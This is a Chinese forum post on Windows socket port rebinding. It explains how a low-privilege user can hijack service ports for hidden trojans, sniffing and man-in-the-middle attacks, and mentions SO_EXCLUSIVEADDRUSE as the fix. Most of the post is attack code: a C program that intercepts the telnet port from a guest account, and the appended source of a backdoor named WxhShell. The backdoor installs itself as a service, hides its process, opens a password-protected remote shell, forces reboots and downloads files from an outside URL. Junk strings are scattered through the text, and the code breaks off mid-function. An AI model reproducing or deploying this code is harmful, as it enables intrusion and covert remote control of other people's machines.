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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1~ZDHfd5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); = `70]%  
.RoO 6:T6  
  saddr.sin_family = AF_INET; P_Po g^  
/kNr5s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aD0w82s]J  
ka"jv"z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .8fOc.h8h  
W 6~<7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ou96 P<B  
Gz ^g!N[  
  这意味着什么?意味着可以进行如下的攻击: RC\TPG/8!  
ib uA~\5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :i?Z1x1`  
NE3G!qxL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +.[#C5  
5M*q{kX)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZhM-F0;`  
o<T>G{XYB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dI'C[.zp[  
e`8z1r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gY;N>Yq,C  
e#&[4tQF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :=*>:*.Kb  
0.&gm@A~c$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yvNYYp2r  
RwT.B+Onuy  
  #include d|DIq T~{W  
  #include ZYu^Q6 b3  
  #include r|rV1<d  
  #include    cC WOG d  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -hhE`Y  
  int main() [xM07%:  
  { SLZv`  
  WORD wVersionRequested; ~+^,o_hT  
  DWORD ret; p|Z"< I7p(  
  WSADATA wsaData; _czLKbcF  
  BOOL val; m0/J3  
  SOCKADDR_IN saddr; OM2|c}]ZQ  
  SOCKADDR_IN scaddr; uyAhN  
  int err; c S{l2}E  
  SOCKET s; j:U>V7Kn3~  
  SOCKET sc; h_y<A@[P}  
  int caddsize; 6o6!O l  
  HANDLE mt; h-!(O^M  
  DWORD tid;   eYR/kZ %<  
  wVersionRequested = MAKEWORD( 2, 2 ); ZOS{F_2.  
  err = WSAStartup( wVersionRequested, &wsaData ); 5p"*n kF  
  if ( err != 0 ) { 0nhsjN}v  
  printf("error!WSAStartup failed!\n"); " P0o)g+{  
  return -1; z36nyo  
  } |!IJ/ivEgw  
  saddr.sin_family = AF_INET; d5sG t#   
   ?55('+{l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PS \QbA  
EA?:GtH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I~4 `NV0  
  saddr.sin_port = htons(23); bFJmXx&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w )DO"Z7  
  { y~U+MtSf#  
  printf("error!socket failed!\n"); T|9Yo=UK%  
  return -1; .8.ivfmJh  
  } ) @))3  
  val = TRUE; EKwS~G.b!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X(E f=:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )Q7;)iPY#  
  { u'?t'I  
  printf("error!setsockopt failed!\n"); @A$%baH0  
  return -1; Q"Q|]f*  
  } w&f29#i;b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; unjo&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;x+4jpH]B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z<ke!H  
Xb|hP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X ,T^(p  
  { li NPXS+  
  ret=GetLastError(); 2evM|Dj  
  printf("error!bind failed!\n"); hRc\&+#/  
  return -1; 6jF~zI^  
  } kv`x  
  listen(s,2); r!Mr\  
  while(1) {n.g7S~  
  { HjnHl-  
  caddsize = sizeof(scaddr); -pkeEuwv{  
  //接受连接请求 Td8'z'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t(}&<<1Bz  
  if(sc!=INVALID_SOCKET) W,wg@2  
  { j7"E0Wc^o_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9(u2jbA  
  if(mt==NULL) TD\QX2m  
  { Lg9ktRKK  
  printf("Thread Creat Failed!\n"); xx/DD%IZ  
  break; |k?,4 Pk  
  } [C7:Yg7  
  } .fQDj{  
  CloseHandle(mt); TzX>d<x  
  } Vvv -f  
  closesocket(s); }8x[  
  WSACleanup(); A$1pMG~as  
  return 0; Y]P $|JW):  
  }   y>wr $  
  DWORD WINAPI ClientThread(LPVOID lpParam) D8Ni=.ALL  
  { I`5MAvP  
  SOCKET ss = (SOCKET)lpParam; +{Q\B}3cj1  
  SOCKET sc; "q]v2t  
  unsigned char buf[4096]; u45e>F=  
  SOCKADDR_IN saddr; V|b?H6Q  
  long num; zRf]SZ(t O  
  DWORD val; YK"({Z>U  
  DWORD ret; ZO0_:T#Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _KD(V2W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?:H9xJ_^  
  saddr.sin_family = AF_INET; sH+]lTSX6{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Snh\Fgdz  
  saddr.sin_port = htons(23); eb( =V *  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0} P&G^%"  
  { O\G%rp L$w  
  printf("error!socket failed!\n"); *sL'6"#Cre  
  return -1; +.>O%pNj  
  } z!RA=]3h  
  val = 100; Z39^nGO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >1joCG~  
  { 3zh'5qQ  
  ret = GetLastError(); kTFN.kQx@  
  return -1; 1 u&P,&T  
  } P#Eqe O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M_*w)<  
  { e@ F& /c  
  ret = GetLastError(); yChC&kX Z+  
  return -1; 7a@V2cr@  
  } 0imz }Z]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uy`U1>  
  { '# (lq5 c  
  printf("error!socket connect failed!\n"); ?$r+#'asd(  
  closesocket(sc); 3&2,[G04  
  closesocket(ss); U ][.ioc  
  return -1; bF B;N+>  
  } xn6E f"  
  while(1) QjZ}*p  
  { NWoZDsu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T,H]svN5p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XP{ nf9&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;gW~+hW^  
  num = recv(ss,buf,4096,0); {P = {)  
  if(num>0) ybYSz@7  
  send(sc,buf,num,0); MTLcLmdO  
  else if(num==0) v,>q]! |a  
  break; br'~SXl  
  num = recv(sc,buf,4096,0); RA\H?1;8C  
  if(num>0) e3(0L I  
  send(ss,buf,num,0); poXkH@[O  
  else if(num==0) -$T5@  
  break; :mg#&MZj<  
  } Dvx"4EA{7{  
  closesocket(ss); _@"Y3Lqi  
  closesocket(sc); =U,;/f  
  return 0 ; Ylo@  
  } kMI\GQW  
Ex@#!fz{%  
w#JF7;  
========================================================== TFM}P  
"KFCA9u-  
下边附上一个代码,,WXhSHELL <@zOdW|{:  
tX)]ZuEi$  
========================================================== 5d L-v&W  
+vYm:  
#include "stdafx.h" ShSh/0   
x,p|n  
#include <stdio.h> | sQ5`lV?  
#include <string.h> px-*uh<  
#include <windows.h> BwL: B\  
#include <winsock2.h> 071w o7  
#include <winsvc.h> FPcgQ v;p  
#include <urlmon.h> PE4{;|a }  
[{Y$]3?}  
#pragma comment (lib, "Ws2_32.lib") KNK0w5  
#pragma comment (lib, "urlmon.lib") ("{AY?{{  
1TbKnmTx  
#define MAX_USER   100 // 最大客户端连接数 Xf#;GYO|2  
#define BUF_SOCK   200 // sock buffer LW2Sko?Yo  
#define KEY_BUFF   255 // 输入 buffer ,xR^8G 8  
G`)I _uO  
#define REBOOT     0   // 重启 [&Qrk8EN  
#define SHUTDOWN   1   // 关机 |d,1mmv@K  
&"L3U  
#define DEF_PORT   5000 // 监听端口 y"){?  
3$y]#L  
#define REG_LEN     16   // 注册表键长度 Z#o o8  
#define SVC_LEN     80   // NT服务名长度 ~u3I=b  
. t~I[J\<  
// 从dll定义API f'#7i@Je  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O %)+ w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wef QmRK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1p{\jCi, 2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^&cI+xZ2Y  
mBnC]$<R  
// wxhshell配置信息 uF< F4m;  
struct WSCFG { @V<tg"(c  
  int ws_port;         // 监听端口 >iG`  
  char ws_passstr[REG_LEN]; // 口令 xy|;WB  
  int ws_autoins;       // 安装标记, 1=yes 0=no >\@6i s  
  char ws_regname[REG_LEN]; // 注册表键名 IAtc^'l#  
  char ws_svcname[REG_LEN]; // 服务名 ^Yn6kF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x^C,xP[#Y;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^ qE4:|e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )@Bt[mfrVD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j.m-6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b"f4}b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MKQa&Dvw  
}"3L>%Q5  
}; HD`Gi0  
R)<>} y  
// default Wxhshell configuration 3J [P(G>Q  
struct WSCFG wscfg={DEF_PORT, ;w@:  
    "xuhuanlingzhe", ~ xXB !K~C  
    1, >j$f$*x  
    "Wxhshell", s2d;601*b  
    "Wxhshell", 9@:&E  
            "WxhShell Service", uQ&xoDCB  
    "Wrsky Windows CmdShell Service", 4q~l ?*S  
    "Please Input Your Password: ", nkG 6.  
  1, Tl25t^Y  
  "http://www.wrsky.com/wxhshell.exe", 0<o#;ZQ]  
  "Wxhshell.exe" 1`h`-dqr#  
    }; OCR x|  
S"}FsS;k<?  
// 消息定义模块 vK$T$SL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JBg",2w |C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %3kqBH!d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fTH?t_e  
char *msg_ws_ext="\n\rExit."; [#)$BXG~y  
char *msg_ws_end="\n\rQuit."; N"2@y aN  
char *msg_ws_boot="\n\rReboot..."; lffw7T~  
char *msg_ws_poff="\n\rShutdown..."; Pp26UWW  
char *msg_ws_down="\n\rSave to "; Omh(UHZBB  
mX"z$  
char *msg_ws_err="\n\rErr!"; (6.0gB$aTu  
char *msg_ws_ok="\n\rOK!"; (s"_NUj6  
E8?Q>%_  
char ExeFile[MAX_PATH]; 0gt/JI($  
int nUser = 0; H:0-.a^ZS  
HANDLE handles[MAX_USER]; 8LiRZ"  
int OsIsNt; 43 |zjE  
 snN1  
SERVICE_STATUS       serviceStatus; g*^"x&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !8P#t{2_|  
ch< zpo:  
// 函数声明 B4J^ rzK  
int Install(void); VS 8|lgQ  
int Uninstall(void);  {kmaMP  
int DownloadFile(char *sURL, SOCKET wsh); Q&n|tQ*4  
int Boot(int flag); W_kJb  
void HideProc(void); YDDwvk H  
int GetOsVer(void); ;rk}\M$+  
int Wxhshell(SOCKET wsl); /'ybl^Km  
void TalkWithClient(void *cs); (*hA0&n  
int CmdShell(SOCKET sock); Jk(b=j  
int StartFromService(void); 5 bMVDw/  
int StartWxhshell(LPSTR lpCmdLine); jMd's|#OP  
k*^.-v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;r`[6[AG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9hLPo  
;qzCoe  
// 数据结构和表定义 #Dy;x\a  
SERVICE_TABLE_ENTRY DispatchTable[] = }*? e w  
{ $`]<4I9d  
{wscfg.ws_svcname, NTServiceMain}, =Ybbh`$<  
{NULL, NULL} |w\D6d]o  
}; 85nUR [)h  
F\>`j   
// 自我安装 i8A5m@,G  
int Install(void) ^t#]E#  
{ _}Z*%sT  
  char svExeFile[MAX_PATH]; PhW#=S  
  HKEY key; 17nWrTxR$  
  strcpy(svExeFile,ExeFile); I80.|KIv  
|F6C&GNYT  
// 如果是win9x系统,修改注册表设为自启动 OPKm^}  
if(!OsIsNt) { )zr/9aV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UpB7hA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,=K!Y TeVl  
  RegCloseKey(key); >.M `Fz.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YBg\L$| n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^hZwm8G  
  RegCloseKey(key); KWXJ[#E<W  
  return 0; GDOaZi  
    }  %_A1WC  
  } [0_Kz"|  
} =.tsz.:c  
else { 9}3W0F;  
E%+V\ W%  
// 如果是NT以上系统,安装为系统服务 `[Lap=.' .  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -4X,x  
if (schSCManager!=0) \Z57UNI  
{ UVU}  
  SC_HANDLE schService = CreateService ^3*gf}  
  ( }S%a]  
  schSCManager, 2]Y (<PC  
  wscfg.ws_svcname, ,j2qY'wi  
  wscfg.ws_svcdisp, !%5{jO1  
  SERVICE_ALL_ACCESS, 1 w\Y ._jK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /\Q{i#v  
  SERVICE_AUTO_START, W%Um:C\I  
  SERVICE_ERROR_NORMAL, h2,A cM  
  svExeFile, d6(qc< /!r  
  NULL, IO,kP`Wcx  
  NULL, 36lIV,YnU  
  NULL, m,=$a\UC  
  NULL, yP[GU| >(  
  NULL (U-p&q>z  
  ); hWDgMmo7  
  if (schService!=0) V+D "_  
  { >} aykz*g  
  CloseServiceHandle(schService); wX|]8f2Z  
  CloseServiceHandle(schSCManager); >) 5rOU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _+^3<MT  
  strcat(svExeFile,wscfg.ws_svcname); 4N#0w]_,>Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6x -PGq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5X~ko>  
  RegCloseKey(key); ~ |!q>z  
  return 0; sU{+.k{  
    } FeCQGT  
  } K$(U>D|  
  CloseServiceHandle(schSCManager); WgY\m&  
} -3KB:K<  
} rhL<JTS  
2|Tt3/Rn  
return 1; ,PIdPaV--  
} R]ppA=1*_l  
_NZ) n)  
// 自我卸载 s"a*S\a;b  
int Uninstall(void) P,wFib^1  
{ XY%8yII6  
  HKEY key; ((X"D/F]  
` 6"\.@4  
if(!OsIsNt) { Jl5<9x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uj8]\MY  
  RegDeleteValue(key,wscfg.ws_regname); GWP"i77y0s  
  RegCloseKey(key); 3b PVKsY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L8Z?B\  
  RegDeleteValue(key,wscfg.ws_regname); ;1eu8N8  
  RegCloseKey(key); -"a])- j  
  return 0; Y}|78|q*  
  } )8iDjNM<  
} iJsw:Nc  
} R>Zn$%j\  
else { 4.VEE~sH$  
a(}jn|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8q0f#/`v  
if (schSCManager!=0) I>P</TE7  
{ &[3!Lk`.0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EA8(_}  
  if (schService!=0) Jl^oDW  
  { 8zpK; +  
  if(DeleteService(schService)!=0) { 'TbA^U[  
  CloseServiceHandle(schService); 4NEk#n  
  CloseServiceHandle(schSCManager); dxASU|Yo9  
  return 0; TyK; q{  
  } 6J=~*&  
  CloseServiceHandle(schService); fA+M/}=  
  } A4&e#  
  CloseServiceHandle(schSCManager); z?7s'2w&{  
} $G=\i>R.  
} _abVX#5<  
xr6Q5/p1  
return 1; v}cm-_*v  
} `zep`j&8^  
_Juhl^LM;  
// 从指定url下载文件 6XX5K@  
int DownloadFile(char *sURL, SOCKET wsh) [KjQW/sb'  
{ cBm3|@7  
  HRESULT hr; }!.7QpA$  
char seps[]= "/"; -(1e!5_-@  
char *token; ltD:w{PO]  
char *file; ,2?C^gxt  
char myURL[MAX_PATH]; }  g  
char myFILE[MAX_PATH]; #}jf TM  
x K_$^c.  
strcpy(myURL,sURL); ^Jkj/n'  
  token=strtok(myURL,seps); -D V;{8U4  
  while(token!=NULL) 3^`bf=R  
  { w=f8UtY9@A  
    file=token; ^Xb!dnT.*a  
  token=strtok(NULL,seps); b UWtlg  
  } p=r{ODw#3  
5-&P4  
GetCurrentDirectory(MAX_PATH,myFILE); | _S9U|  
strcat(myFILE, "\\"); b,K1EEJ  
strcat(myFILE, file); As>po +T*  
  send(wsh,myFILE,strlen(myFILE),0); -eNi;u  
send(wsh,"...",3,0); *}2o \h6Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K:9.fTCs*  
  if(hr==S_OK) %%DK?{jo`  
return 0; Wh4lz~D\@  
else "Dy&`  
return 1; X0=R @_KY  
'kUrSM'*$N  
} $jc>?.6  
OPjscc5  
// 系统电源模块 %M^bZ?  
int Boot(int flag) 8[y7(Xw  
{ zd;xbH//)b  
  HANDLE hToken; w'qV~rN~tc  
  TOKEN_PRIVILEGES tkp; rhUZ9Fdv  
C3memimN  
  if(OsIsNt) { o<!#1#n+:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pcEB-boI9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JHMj4Zkp  
    tkp.PrivilegeCount = 1; LBM:>d5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dY O87n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ry U0x  
if(flag==REBOOT) { %? iE3j!q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ___+5r21\  
  return 0; XBeHyQp  
} mV'd9(s?  
else { SE/@li  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _p~ `nQ=7  
  return 0; z?i82B[Tm  
} _e-a>y  
  } @{$SjR8Q $  
  else { i?|SC=  
if(flag==REBOOT) { Ao]F_hZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K+GjJ8  
  return 0; 0 Q1}u@G  
} #p[=iP  
else { \KPz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  T  
  return 0; .II'W3Fr  
} 4frZ .r;V  
} "+AeqrYYm5  
BS{">lPmx  
return 1; R.RCa$  
} &0o&!P8CB  
~7Jc;y&  
// win9x进程隐藏模块 @cXY"hP`  
void HideProc(void) 0Ifd!  
{ lOE bh  
*vj5J"Y(;t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (d~'H{q  
  if ( hKernel != NULL ) 8EP^M~rv  
  { RZz].Nx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |e pe;/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8p!PR^OM@  
    FreeLibrary(hKernel); :`uo]B"  
  } c[;I\g  
VX- f~  
return; 0_Y;r{3m"  
} <vj&e(D^  
I 4EocM=  
// 获取操作系统版本 z3$PrK%  
int GetOsVer(void) EoY570PN  
{ 7%F9.h  
  OSVERSIONINFO winfo; $AX!L+<!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u4Xrvfb,  
  GetVersionEx(&winfo); ZBnf?fU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2R1W[,Ga!  
  return 1; +-{H T+W  
  else @ojn< 7W  
  return 0; lw Kr$X4  
} ME7JU|@Z  
D)mqe-%1  
// 客户端句柄模块 '7xY ,IY  
int Wxhshell(SOCKET wsl)  a1j 6-p  
{ Jl4zj>8~  
  SOCKET wsh; pQqZ4L6v  
  struct sockaddr_in client; '8W }|aF  
  DWORD myID; LS \4y&J40  
_ Fer-nQ2R  
  while(nUser<MAX_USER) KQ2]VN"?_  
{ M9iu#6P  
  int nSize=sizeof(client); hio{: (  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "? R$9i  
  if(wsh==INVALID_SOCKET) return 1; S[%86(,*gP  
~+|p.(I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cy? EX~s4  
if(handles[nUser]==0) !!P)r1=g  
  closesocket(wsh); /]vg_&)=  
else %i96@ 6O  
  nUser++; |M+ !O93  
  } K~Xt`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q,m6$\g4  
l~\'Z2op   
  return 0; rv\<Q-uQ8  
} <vPIC G)  
i|2Q}$3t2  
// 关闭 socket YoahqXR`  
void CloseIt(SOCKET wsh) ` bg{\ .q  
{ |D<~a(0  
closesocket(wsh); xvW+;3;  
nUser--; '\\J95*`  
ExitThread(0); 0Uybh.dC  
} ty "k  
g~`UC  
// 客户端请求句柄 ^6obxwVG  
void TalkWithClient(void *cs) 0t<TZa]V  
{ x2 tx{Z  
bhFzu[B  
  SOCKET wsh=(SOCKET)cs; o05) I2  
  char pwd[SVC_LEN]; WSh+5](:  
  char cmd[KEY_BUFF]; qf'uXH  
char chr[1]; @(ev``L5g  
int i,j; l3.HL> o  
2"2b\b}my  
  while (nUser < MAX_USER) { VdYu| w ;v  
?}O\'Fa8  
if(wscfg.ws_passstr) { 7$/ O{GBJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2N>:GwN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !$fBo3!B_8  
  //ZeroMemory(pwd,KEY_BUFF); ?z?IEj}  
      i=0; OI1&Z4Lx  
  while(i<SVC_LEN) { A]W`r}  
?-Oy/Y K  
  // 设置超时 Xd{"+'29  
  fd_set FdRead; sg2T)^*V  
  struct timeval TimeOut; v k<By R  
  FD_ZERO(&FdRead); ;ML21OjgN  
  FD_SET(wsh,&FdRead); .( 75.^b2)  
  TimeOut.tv_sec=8; =)'AXtvE  
  TimeOut.tv_usec=0; rq+E"Uj?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )x8Izn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P1)9OE  
S_1R]n1/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l'mgjv~  
  pwd=chr[0]; #W* 5=Cf  
  if(chr[0]==0xd || chr[0]==0xa) { A LKU  
  pwd=0; ++5So fG@  
  break; poQY X5  
  } }oloMtp$  
  i++; /\OjtE  
    } X 5pp8~  
#dU-*wmJ  
  // 如果是非法用户,关闭 socket wzF/`z&0?6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _0ep[r  
} YJF!_kg.  
> u~ l_?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :+Y+5:U]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s [@II]  
0oc5ahp  
while(1) { yX<Sk q  
p 0R)Yc+;  
  ZeroMemory(cmd,KEY_BUFF); S9U`-\L0  
MejM(o_kk  
      // 自动支持客户端 telnet标准   OZDnU6  
  j=0; e=Kf<ZQt  
  while(j<KEY_BUFF) { sBB>O@4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5Z1b9.;.,  
  cmd[j]=chr[0]; Y!"LrkC  
  if(chr[0]==0xa || chr[0]==0xd) { 0c /xE<h  
  cmd[j]=0; \"|E8A6/  
  break; 6f{Kj)  
  } [3}m|W<  
  j++; l/#;GYB]  
    } 48W$ ,  
p^MV< }kk  
  // 下载文件 8<{)|GoqB  
  if(strstr(cmd,"http://")) { ]u G9WT6l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L;wzvz\+  
  if(DownloadFile(cmd,wsh)) hZ[,.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q6]SsV?x  
  else o@XhL9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hCuUX)>Bt  
  } j/ow8Jmc*  
  else { ,_F@9Up  
qwoF4_VN  
    switch(cmd[0]) { (V!:6  
  2mRm.e9?  
  // 帮助 ]>B>.s  
  case '?': { R %aed>zo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M4~^tML>Ey  
    break; .SAOE'Foo  
  } Lzm9Kh;  
  // 安装 W; P8=q  
  case 'i': { :G!i]1x<  
    if(Install()) . =yF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hyh$-iCa  
    else O3 x9S,1i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x2%xrlv<J/  
    break; qkPvE;"  
    } =C gcRxng  
  // 卸载 p48m k  
  case 'r': { >cpT_M&C,  
    if(Uninstall()) z.P<)[LUc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IT!u4iH[  
    else +" |?P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z10J8Ms'  
    break; 'I^3r~_  
    } pMndyuoJl  
  // 显示 wxhshell 所在路径 KxhMPvN'  
  case 'p': { # 3UrGom  
    char svExeFile[MAX_PATH]; n W:P"L  
    strcpy(svExeFile,"\n\r"); 8A'oK8Q  
      strcat(svExeFile,ExeFile); QM wrt  
        send(wsh,svExeFile,strlen(svExeFile),0); 3)cH\gsg9  
    break; 0wQ'~8  
    } X\sOeb:]  
  // 重启 YS],o'T  
  case 'b': { VC~1QPC9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }w&W\g+E$  
    if(Boot(REBOOT)) w=JO$7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); icS% ])3LF  
    else { ?V&# nA  
    closesocket(wsh); s3<gq x-&r  
    ExitThread(0); OYW:I1K<5  
    } &UrPb%=2H  
    break; \Hb"bv  
    } S*PcK>  
  // 关机 bAOL<0RS9`  
  case 'd': { @-zL"%%dw'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X/Sp!W-H  
